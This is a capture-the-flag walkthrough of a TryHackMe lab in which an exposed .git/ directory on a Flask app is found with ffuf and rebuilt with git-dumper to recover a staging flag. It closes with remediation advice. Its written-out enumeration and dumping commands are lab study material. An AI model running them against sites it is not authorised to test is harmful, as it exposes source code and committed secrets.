TryHackMeEasy

Hacker Holidays — Day 2: Room 404

A Flask app leaves .git/ reachable — git-dumper reconstructs the full repo, and a "remove before launch" note in the staging README hands over the flag directly.

Red hooded mascot wearing glasses

Event: Hacker Holidays — The Byte Lotus Hotel · Day 2 · Web / Directory Enumeration Target: http://MACHINE_IP:8080

The Setup

A Flask app on port 8080. The briefing all but tells you the bug: “the night-shift developer shipped more than the website” and “dump the exposed source code.” Classic exposed .git/ directory → full source disclosure.

Recon

Fingerprint the service — it’s Flask/Werkzeug (so expect a Python app + static files, no directory listing):

curl -sI http://10.128.152.4:8080/
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Content-Type: text/html; charset=utf-8

Fuzzing

ffuf -u http://10.128.152.4:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,401,403

.git/HEAD               [Status: 200, Size: 21, Words: 2, Lines: 2, Duration: 46ms]
                        [Status: 200, Size: 2554, Words: 337, Lines: 53, Duration: 42ms]
:: Progress: [4614/4614] :: Job [1/1] :: 439 req/sec :: Duration: [0:00:10] :: Errors: 0 ::

.git/HEAD turns up in the fuzz. (Only that and / show up because Flask serves files individually — no directory index to enumerate, which is exactly why we dump .git/ instead of wget -r.)

Confirm it directly:

curl -s http://10.128.152.4:8080/.git/HEAD
ref: refs/heads/main

.git/ is served → the whole repo is exposed.

Exploitation — Dump the Repo

Flask won’t list the .git/ object files, so use git-dumper, which reconstructs the repo by walking git’s internal refs:

pipx install git-dumper
git-dumper http://10.128.152.4:8080/.git/ ./loot

Result:

ls
app.js  index.html  README.md

Finding the Flag

app.js and index.html are just the front-end stub and the landing page. The staging note in README.md is where the dev slipped:

cat README.md
# Byte Lotus — Guest Experience Platform

Internal staging repository for the guest app and concierge personalization
service. Do not deploy this folder to production.

Staging flag (remove before launch): THM{redacted}

app.js also drops a breadcrumb for later days — the concierge personalization is served from /api/guest (“the profiling service”):

const API = "/api/guest";
// TODO: wire to live endpoint before launch

Worth noting for the “profile assembled from two breakfasts and a livestream” thread.

Takeaways

  • A reachable .git/HEAD = full source disclosure. git-dumper reconstructs the entire repo (working tree + history) even with directory listing disabled — always dump the whole thing, not just the visible files.
  • The flag was a “remove before launch” note committed to the repo. Deploying the .git/ folder shipped every secret the dev ever committed.
  • Fix: never serve .git/ (block it at the web server / reverse proxy), and don’t commit secrets — history keeps them even after deletion (“never forgets”).

Flag

THM{redacted}